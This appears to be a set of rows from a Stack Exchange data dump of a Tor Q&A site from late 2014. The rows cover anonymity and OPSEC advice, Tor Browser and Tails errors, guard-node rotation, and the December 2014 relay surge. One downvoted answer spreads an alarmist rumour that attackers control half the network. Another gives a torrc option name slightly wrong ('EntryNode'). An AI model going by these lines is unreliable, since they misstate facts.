  <row Id="4845" PostTypeId="2" ParentId="4836" CreationDate="2014-12-24T23:57:18.043" Score="1" Body="&lt;p&gt;Like Roya said, achieving perfect anonymity is quite hard if not impossible. However there are some things that you can do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In general you should look for the keyword &quot;Operational Security&quot;. So for instance &lt;a href=&quot;https://twitter.com/thegrugq&quot; rel=&quot;nofollow&quot;&gt;@thegrugq&lt;/a&gt; often discusses this topic and also &lt;a href=&quot;https://grugq.github.io/&quot; rel=&quot;nofollow&quot;&gt;blogs about it&lt;/a&gt;. OPSEC deals with thinking about and mitigating potential risks to your anonymity.&lt;/li&gt;&#xA;&lt;li&gt;You should think about your computer hardware-wise. Your network card has a unique number (MAC address). Furthermore there might be more components which identify the hardware. So it is often advised to use a new piece of hardware just for one purpose.&lt;/li&gt;&#xA;&lt;li&gt;The operating system of your computer can also reveal a great deal. So take your time and choose the right system. Also make sure that you configure it appropriately. &lt;/li&gt;&#xA;&lt;li&gt;When you go online,  think about what Wifi you use. When you use your home Wifi, there might be some details which leak and can lead to identifying you. Often it is better to use some free/open Wifi (Bonus points if it is not near your home location).&lt;/li&gt;&#xA;&lt;li&gt;Now Tor comes into play. So when you're online you should use a tool like Tor which hides your network location. Of course you might be better off using Tails.&lt;/li&gt;&#xA;&lt;li&gt;When logging in or registering people often use login names they are familiar with or use a password which they normally use. Just select a random login name and a good, secure password. Both should have no common ground with what you're typically using.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are some basic steps which help to protect your anonymity. However when thinking about it you might encounter more things to take care of. Remember to work proactively. It is not possible to protect your anonymity, when your identity is revealed.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-12-24T23:57:18.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostTypeId="1" CreationDate="2014-12-25T07:50:04.387" Score="4" ViewCount="1559" Body="&lt;p&gt;Tor browser version 4.0.3 employes Noscript version 2.6.9.10 and one has observed a new drop in command in this Noscript version. Namely: &quot;Permanent &quot;Allow&quot; commands in private windows&quot;.&#xA;What is the purpose of this drop in command in Noscript and why it is showing up?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-27T11:48:34.100" LastActivityDate="2015-03-08T09:34:02.013" Title="What does &quot;Permanent &quot;Allow&quot; commands in private windows&quot; in Noscript 2.6.9.10 employed in Tor browser mean?" Tags="|tor-browser-bundle|noscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostTypeId="1" CreationDate="2014-12-25T14:17:48.093" Score="2" ViewCount="335" Body="&lt;p&gt;According to &lt;a href=&quot;http://ip-check.info/?lang=en&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info/?lang=en&lt;/a&gt; dom.storage.enabled is on and this is a problem. The site recommends it to change to false. Is this a security problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a wrong setting of 4.0.2? Will you fix it in the next update? thanks. &lt;/p&gt;&#xA;" OwnerUserId="5368" LastEditorUserId="88" LastEditDate="2015-05-02T19:19:02.010" LastActivityDate="2015-05-02T19:19:02.010" Title="dom.storage.enabled in Tor Browser 4.0.2. Security problem?" Tags="|tor-browser-bundle|anonymity|security|windows|deanonymization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4850" PostTypeId="1" AcceptedAnswerId="4854" CreationDate="2014-12-26T07:25:44.380" Score="4" ViewCount="90" Body="&lt;p&gt;Are there any security concerns if multiple copies of a &lt;em&gt;single&lt;/em&gt; Tor installation are used simultaneously? I ask this question in the context of virtual machine images or containers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worded differently, does Tor generate secret information that should not be made public upon installation or first run? (like openssh)&lt;/p&gt;&#xA;" OwnerUserId="5375" LastEditorUserId="923" LastEditDate="2014-12-26T09:55:07.757" LastActivityDate="2014-12-26T14:46:58.053" Title="Is Tor image friendly?" Tags="|virtual-machine|private-key|virtualisation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4852" PostTypeId="1" AcceptedAnswerId="4853" CreationDate="2014-12-26T11:41:45.063" Score="5" ViewCount="10122" Body="&lt;p&gt;I recently become interested in researching about the Tor network, and do want to do some research about it. I was heard that there are around 10 directory servers which are hard-coded into the Tor Browser Bundle. So could anyone please tell me what are the addresses of these directory servers and how can I get the consensus data from those server for research purpose.&#xA;Thank you so much! &lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2014-12-26T13:04:04.577" Title="How many directory servers are there in the Tor networks?" Tags="|directory|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4853" PostTypeId="2" ParentId="4852" CreationDate="2014-12-26T12:55:45.750" Score="3" Body="&lt;p&gt;There are 9 directory authorities which are hard-coded into the Tor software. Following please find addresses and some additional information about these directory authorites:&lt;br&gt;&#xA;&lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#search/flag:authority&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-26T13:04:04.577" LastActivityDate="2014-12-26T13:04:04.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4854" PostTypeId="2" ParentId="4850" CreationDate="2014-12-26T14:46:58.053" Score="1" Body="&lt;p&gt;If you're not a relay and if you're not hosting a hidden service, then you can run multiple instances with exactly the same config. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running a hidden service, then each introduction point will use the one that it heard about last. All instances should function though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running a relay, then each instance must have its own unique keys and fingerprint.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-26T14:46:58.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4855" PostTypeId="1" AcceptedAnswerId="7051" CreationDate="2014-12-26T15:17:49.353" Score="6" ViewCount="2241" Body="&lt;p&gt;Just like we have websites ending in .onion , can we have a git server running on Tor ? Theoretically it should be possible as git could be thought of as an FTP server. Has somebody done it and shared notes as to how to about doing that ? I tried various web searches with sadly nothing to show for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward for help. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="88" LastEditDate="2015-06-19T06:56:18.530" LastActivityDate="2015-06-19T08:48:10.420" Title="is it possible to have a hidden git service?" Tags="|onion-services|help|server|git|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostTypeId="2" ParentId="4625" CreationDate="2014-12-26T15:46:39.033" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it less or more safe to login to personal accounts (email, Amazon,&#xA;  etc.) when using Tor, compared to not using Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Generally speaking: Less safe. Don't do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Tor, an exit operator can steal your account credentials if you log into a site without using a TLS connection. However, even if your browser does indicate that you're using HTTPS, this doesn't necessarily mean that your credentials are safe. Many websites use mixed content (some content is encrypted, some isn't). If some of that content is also on the same domain as your encrypted / authenticated connection, it can leak your cookies (most browsers won't warn about mixed content, or will warn you but establish the connection anyways, meaning your data has already leaked). Blocking mixed content and always logging in over HTTPS can help prevent this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, logging into anything essentially defeats the purpose of Tor. By logging in you are confirming to the service operator (and anyone else who can tell you've logged in) that you are the person with that account, effectively de-anonymizing you. Depending on your risk tolerance, what the account is (and what information it has on you), what threats you're trying to prevent, etc. this may or may not be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR — it all depends what you want. If you want anonymity, Tor may help to a certain degree, but will be worthless without following general opsec practices. If you're just trying to protect your account credentials: Tor at best is neutral, and at worst may bite you.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-12-26T15:46:39.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostTypeId="1" CreationDate="2014-12-26T16:39:37.423" Score="2" ViewCount="9039" Body="&lt;p&gt;I recently starting getting errors starting the Tor Browser on my Debian machine. These errors are fairly new occurring first in the last couple months. I have tried install older versions of the Tor Browser and nothing is working now (though these older versions did work in the past).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start I get this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I attempt to open in the terminal, I get the following output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Launching Tor Browser for Linux in /home/user/tor-browser_en-US/Browser...&#xA;Dec 26 10:33:21.166 [notice] Tor v0.2.5.10 (git-13318a95ddfbbf8d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1i and Zlib 1.2.7.&#xA;Dec 26 10:33:21.166 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 26 10:33:21.166 [notice] Read configuration file &quot;/home/user/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;.&#xA;Dec 26 10:33:21.166 [notice] Read configuration file &quot;/home/user/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&quot;.&#xA;Dec 26 10:33:21.170 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Dec 26 10:33:21.170 [warn] Could not bind to 127.0.0.1:9151: Cannot assign requested address&#xA;Dec 26 10:33:21.170 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Dec 26 10:33:21.170 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error seems to occur at the cannot bind to requested address line, but I cannot make heads or tails of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or direction resolving this issue would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5379" LastEditorUserId="923" LastEditDate="2014-12-26T17:46:51.493" LastActivityDate="2019-01-27T09:11:02.053" Title="Errors when starting Tor browser on Linux" Tags="|tor-browser-bundle|help|linux|error|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4859" PostTypeId="2" ParentId="4855" CreationDate="2014-12-26T19:30:50.100" Score="3" Body="&lt;p&gt;I have set up gits in the past, and have used Tor to protect them.  It works just as setting up any other service.  Simply set up your server (ensure that there is not something that could expose your true IP address in it), and then &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;forward the port to Tor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I have had in the past with this is the fact that it isn't easy to connect to Tor from the client end.  Fortunately, using a &lt;a href=&quot;http://cms-sw.github.io/tutorial-proxy.html&quot; rel=&quot;nofollow&quot;&gt;socks5&lt;/a&gt; interface, we can connect.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-12-26T19:30:50.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4860" PostTypeId="1" CreationDate="2014-12-26T20:09:36.540" Score="1" ViewCount="128" Body="&lt;p&gt;The number of relays have suddenly increased from 6700 range to 10000 range in a very short period of time. What is going on?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="55" LastEditDate="2015-02-09T00:29:38.403" LastActivityDate="2015-02-09T00:29:38.403" Title="On Dec 26 2014 the number of relays have increased from 6700 range to 10000 range overnight. What is going on?" Tags="|relays|attacks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4865" PostTypeId="2" ParentId="4860" CreationDate="2014-12-26T22:49:12.887" Score="-2" Body="&lt;p&gt;Tor is being hacked by lizard mafia, the same folks who attacked the psn and xbox networks.&#xA;They currently own about 50% of all relays, over 4000, meaning they can trace you. All the relays are called &quot;lizardnsa&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.theepochtimes.com/n3/1163197-tor-allegedly-hacked-by-lizard-squad-group-behind-psn-and-xbox-live-hack/&quot; rel=&quot;nofollow&quot;&gt;http://www.theepochtimes.com/n3/1163197-tor-allegedly-hacked-by-lizard-squad-group-behind-psn-and-xbox-live-hack/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5384" LastEditorUserId="923" LastEditDate="2014-12-27T09:15:09.213" LastActivityDate="2014-12-27T09:15:09.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostTypeId="2" ParentId="4860" CreationDate="2014-12-26T23:02:42.033" Score="4" Body="&lt;p&gt;This is an ongoing attack on the Tor network. A group has established ~3000 relays (and growing), ~50% of network nodes (note, network nodes, not network capacity for which I don't have a decent measurement, but which is much smaller).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as all of their nodes are fairly new, and some are being blocked by the directory authorities [&lt;a href=&quot;https://twitter.com/ioerror/status/548596366965223424&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;], the probability that you'd actually get one of their nodes for a guard node and another for an exit is extremely low (guard nodes are also cached to help incase of attacks like this one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the media hype is just that, and there is little reason to be worried at this time. Check your circuits, and you'll be fine.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="55" LastEditDate="2015-02-09T00:27:06.310" LastActivityDate="2015-02-09T00:27:06.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostTypeId="1" CreationDate="2014-12-27T18:06:57.057" Score="1" ViewCount="279" Body="&lt;p&gt;I have been researching about Tor and the deep web and I wish to connect to the deep web. I have a task that I need to find someone for and I have been told the only way it is possible is to ask someone on the deep web. Now what I want to ask is whether the deep web is safe for me to do this?&lt;/p&gt;&#xA;" OwnerUserId="5390" LastEditorUserId="923" LastEditDate="2014-12-27T19:42:49.043" LastActivityDate="2014-12-27T19:42:49.043" Title="Question about the deep web" Tags="|tor-browser-bundle|onion-services|security|website|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-27T20:11:52.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostTypeId="2" ParentId="4867" CreationDate="2014-12-27T19:06:19.447" Score="1" Body="&lt;p&gt;Using Tor, or conecting to the Tor network, does not bring any danger in and of itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is just a tool. (You've been researching so you know what it does and how.) If you know exactly where to go, then using Tor to go there is not unsafe. Not less safe than it would be if Tor weren't required anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, and regardless of Tor or whatever other tools, it is &lt;em&gt;impossible&lt;/em&gt; to do anything online without leaving traces, and it is &lt;em&gt;very difficult&lt;/em&gt; to avoid those traces pointing back to you. (Especially when paying money is involved.)&lt;br&gt;&#xA;&lt;strong&gt;Tor can help you there, but Tor is not a magic cloak.&lt;/strong&gt;&lt;br&gt;&#xA;In order to be safe, you have to understand all possible threats, which measures you can take to avoid those threats, and understand how and why said measures work and when/why they would not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know exactly where to go and what to do, but have to &lt;em&gt;find&lt;/em&gt; it, beware of hijacking, cloning, MITM-ing, etc.. that goes on with anything 'for profit'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to undertake something where it would pose danger to you when someone else finds out what you did or that it was you who did it, it depends on how big the danger is and who this someone else is. If the danger is prison and the adversary is a powerful government organization, then no, it is not safe for you to do. Not because the deep web is unsafe, but because security is hard.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-27T19:06:19.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostTypeId="1" CreationDate="2014-12-28T02:35:16.787" Score="6" ViewCount="6941" Body="&lt;p&gt;I want to download tails-i386-1.2.1.iso for some test, so I checked the official website of Tails where only  link to the newest version Tails 1.2.2, I even change the download link from 1.2.2 to 1.2.1 but still couldn't, can someone tell me where can get it?&lt;/p&gt;&#xA;" OwnerUserId="5392" LastEditorUserId="923" LastEditDate="2014-12-28T03:58:32.880" LastActivityDate="2016-04-26T19:31:43.460" Title="How to download the older version of Tails?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostTypeId="2" ParentId="4871" CreationDate="2014-12-28T09:08:46.580" Score="5" Body="&lt;p&gt;You can find older versions of tails at the &lt;a href=&quot;http://dl.amnesia.boum.org/tails/obsolete/&quot;&gt;&lt;code&gt;obsolete/&lt;/code&gt;&lt;/a&gt; folder. Version 1.2.1 is at &lt;a href=&quot;http://dl.amnesia.boum.org/tails/obsolete/tails-i386-1.2.1/&quot;&gt;http://dl.amnesia.boum.org/tails/obsolete/tails-i386-1.2.1/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-12-28T09:08:46.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4875" PostTypeId="2" ParentId="4761" CreationDate="2014-12-28T23:17:25.573" Score="1" Body="&lt;p&gt;I think you more or less sum up why hashes are chosen as the index in this sentence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But the hashes for the descriptors can be so easily computed since the descriptor labels are public information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The point is that they can easily be computed, and this means that they can be easily verified for correctness without downloading the entire router descriptor from every directory authority (half of the directory authorities must agree for us to think a router descriptor is valid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put another way: A hash is chosen instead of the full router descriptor because it's smaller. If we've already got the latest router descriptor from one directory, we shouldn't have to download it from all the others to verify that they are all providing the same description. Instead, each directory authority provides a hash of each router descriptor. If at least half of them are providing the same hash, we can verify our current router descriptor against that hash, or download the new router descriptor if our old one doesn't match (and of course, we can also verify the new one to make sure that we haven't been provided with a bad file).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-12-28T23:17:25.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4876" PostTypeId="1" CreationDate="2014-12-29T09:04:15.317" Score="3" ViewCount="614" Body="&lt;p&gt;For about 4 or 5 days I have received this error message every time I have started Tails.&#xA;I have restarted, changed computer, created a new USB with a new ISO image but still get the error message. Is this something to be worried about or does it relate to the forthcoming manual upgrade to Tails 1.2.3. ?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastEditorUserId="923" LastEditDate="2014-12-30T07:00:37.103" LastActivityDate="2015-03-11T07:20:24.787" Title="Tails 1.2.2. &quot;Could not determine whether an upgrade is avaiable from our website&quot;" Tags="|tails|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostTypeId="1" CreationDate="2014-12-29T14:34:04.013" Score="3" ViewCount="1118" Body="&lt;p&gt;I am using Tails 1.2.2 as OS.&#xA;I need to use anything to hide the fact I'm using Tor, so far I've tried socks5 with proxychains but the permission is denied when I check with curl.&#xA;SSH tunnel are also not working with ssh or torify, simply Tails doesn't allow me to do anything!! Does anybody know something about it?&lt;/p&gt;&#xA;" OwnerUserId="5399" LastEditorUserId="923" LastEditDate="2014-12-29T17:12:31.293" LastActivityDate="2014-12-29T17:12:31.293" Title="SSH tunnel SOCKS5 or VPN after Tor with Tails" Tags="|tor-browser-bundle|tails|vpn|ssh|torsocks|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4878" PostTypeId="1" CreationDate="2014-12-29T19:09:19.317" Score="1" ViewCount="1586" Body="&lt;p&gt;Whenever I attempt to connect to my FTP server with Tor, it rejects it.  The FTP server is using a hidden service, I must use Tor to connect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Tor says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [warn] Rejectiong SOCKS request for anonymous connection to private address [scrubbed].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What Filezilla says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Status:    Connecting to 127.0.0.1:9050...&#xA; Status:    Connection with proxy established, performing handshake...&#xA; Error: Proxy handshake failed: ECONNABORTED - Connection aborted&#xA; Response:  425 Can't open data connection for transfer of &quot;/&quot;&#xA; Error: Failed to retrieve directory listing&#xA; Response:  421 Connection timed out.&#xA; Error: Connection closed by server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to force Tor to accept my connection.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-12-29T19:09:19.317" Title="Cannot use ftp with Tor" Tags="|socks|torsocks|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4879" PostTypeId="1" CreationDate="2014-12-30T00:52:01.997" Score="2" ViewCount="219" Body="&lt;p&gt;For using Tor, I would like to use a separate user account on my Debian system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Every Internet connection from this user account must go through Tor.&lt;/li&gt;&#xA;&lt;li&gt;If something can’t be sent using Tor, it should be blocked.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If yes, is this advisable? Are there any pitfalls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can’t use a live system or virtualization, and I’d imagine (assuming that it’s technically possible) that a Tor-only user account is a suitable way to hinder applications leaking my IP address.&lt;/p&gt;&#xA;" OwnerUserId="320" LastActivityDate="2015-05-01T11:37:23.250" Title="Separate Linux user account that can use the Internet only via Tor?" Tags="|linux|debian|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostTypeId="1" CreationDate="2014-12-30T04:01:13.003" Score="12" ViewCount="50468" Body="&lt;p&gt;When Tor changes circuit it only changes middle node and exit node, the entry node stays the same since the Tor started, so I guess the entry node is limiting the traffic if  you make too much traffic, right? So changing the entry node is the idea for speeding up the Tor, I don't want to restart it to change the node that may cost too much time on connecting to the network, anybody has anyway?&lt;/p&gt;&#xA;" OwnerUserId="5392" LastEditorUserId="923" LastEditDate="2014-12-30T16:28:24.570" LastActivityDate="2021-02-13T22:11:24.250" Title="How to change the entry node?" Tags="|circuit|guard-node|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostTypeId="2" ParentId="4880" CreationDate="2014-12-30T05:30:48.437" Score="0" Body="&lt;p&gt;The simplest approach is to use Tails. The guard node is not stationary in Tails. In addition you get the bonus of higher security and anonymity by using dedicated OS on top of Tor.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-12-30T05:30:48.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4882" PostTypeId="2" ParentId="4880" CreationDate="2014-12-30T10:49:32.500" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;so I guess the entry node is limiting the traffic if you make too much traffic, right? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;br&gt;&#xA;The long guard rotation period is for security reasons. The more often you pick a new guard, the higher the chances that you will encounter a bad one (i.e. owned/controlled by the party you want to hide from).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://freehaven.net/~arma/cogs-wpes.pdf&quot; rel=&quot;noreferrer&quot;&gt;Changing of the Guards&lt;/a&gt; and &lt;a href=&quot;https://petsymposium.org/2014/papers/Dingledine.pdf&quot; rel=&quot;noreferrer&quot;&gt;One Fast Guard for Life&lt;/a&gt; for more on Guard rotation.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="923" LastEditDate="2014-12-30T15:41:11.457" LastActivityDate="2014-12-30T15:41:11.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4883" PostTypeId="1" CreationDate="2014-12-30T13:35:36.170" Score="1" ViewCount="108" Body="&lt;p&gt;First of all: Thanks god for this Forum! I've searched a looong time for something like this! (Had to say...)&#xA;Now, THIS!:&#xA;I tried to do an IP Request at Jondo's ip-test side (&lt;a href=&quot;http://ip-check.info/?lang=en&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info/?lang=en&lt;/a&gt;). Suddenly a popup message appeared which looks suspicious for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A username and password are being requested by http://ipcheck.info. The site says: &quot;This is a test: Please cancel!&quot;&#xA;User Name:&#xA;Password: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The popup seems to be system made maybe from &quot;Password and Keys&quot; application. Not &quot;Browser inside&quot;. The only way proceeding browsing was to click an option or close the browser.&#xA;What's going on there? Is it normal?&#xA;I am an absolute Beginner in IT Security related themes. But absolutely charmed about this theme! :-)&lt;/p&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="923" LastEditDate="2014-12-30T17:59:25.183" LastActivityDate="2015-01-30T17:55:55.573" Title="Tails 1.2.2. Strange Login Request at JonDonym ip-test?" Tags="|security|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4884" PostTypeId="1" CreationDate="2014-12-30T15:54:58.187" Score="3" ViewCount="1050" Body="&lt;p&gt;I was looking for a virtual machine that has Tor relay pre-configured. This came to my mind while thinking about the the amount of security which can be provided by having thousands of similar Tor users with identical OS, screen resolution, browser version, folder structure, keyboard and etc. This is obviously good when somehow some of the users computer information leaks out, so that it is impossible to identify a person based on these info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/97/should-i-run-tor-in-a-vm&quot;&gt;A good discussion here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm more concerned about the relay rather than the client, so I searched and found no distribution that has pre-installed and pre-configured Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be useful for rapidly increasing the number of relays if certain attacks were planned to be activated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;While there have been claims that Lizard Squad is incapable of taking on Tor, it seems that there have been successful attacks. Security researcher Nadim Kobeissi tweeted a screenshot that shows a large number of relays named LizardNSA&quot; &lt;a href=&quot;http://betanews.com/2014/12/27/lizard-squad-attacks-tor-network-ignoring-warning-from-anonymous/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know any project or distribution which is contributing to this concept?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-12-13T20:01:15.200" Title="Ready-made Tor relay on virtual machine" Tags="|relays|attacks|virtual-machine|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4885" PostTypeId="2" ParentId="4880" CreationDate="2014-12-30T16:51:13.360" Score="7" Body="&lt;p&gt;If you are looking to be able choose a specific entry nodes for specific period of time you may open the &lt;code&gt;torrc&lt;/code&gt; and insert the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNode $fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On restart of Tor it will use the entry nodes if available.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-30T17:47:30.840" LastActivityDate="2014-12-30T17:47:30.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostTypeId="2" ParentId="4883" CreationDate="2014-12-30T17:57:50.690" Score="1" Body="&lt;p&gt;Do not worry, There is no problem. This is the message you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A username and password are being requested by http://ipcheck.info. The site says: &quot;This is a test: Please cancel!&quot; User Name: Password: &quot;&#xA;&#xA;User Name:&#xA;&#xA;Password:&#xA;&#xA;                                  OK        Cancel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may &lt;code&gt;cancel&lt;/code&gt; and continue. There is no need to close the browser and certainly no need to panic. This is normal behavior for this site.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-12-30T17:57:50.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
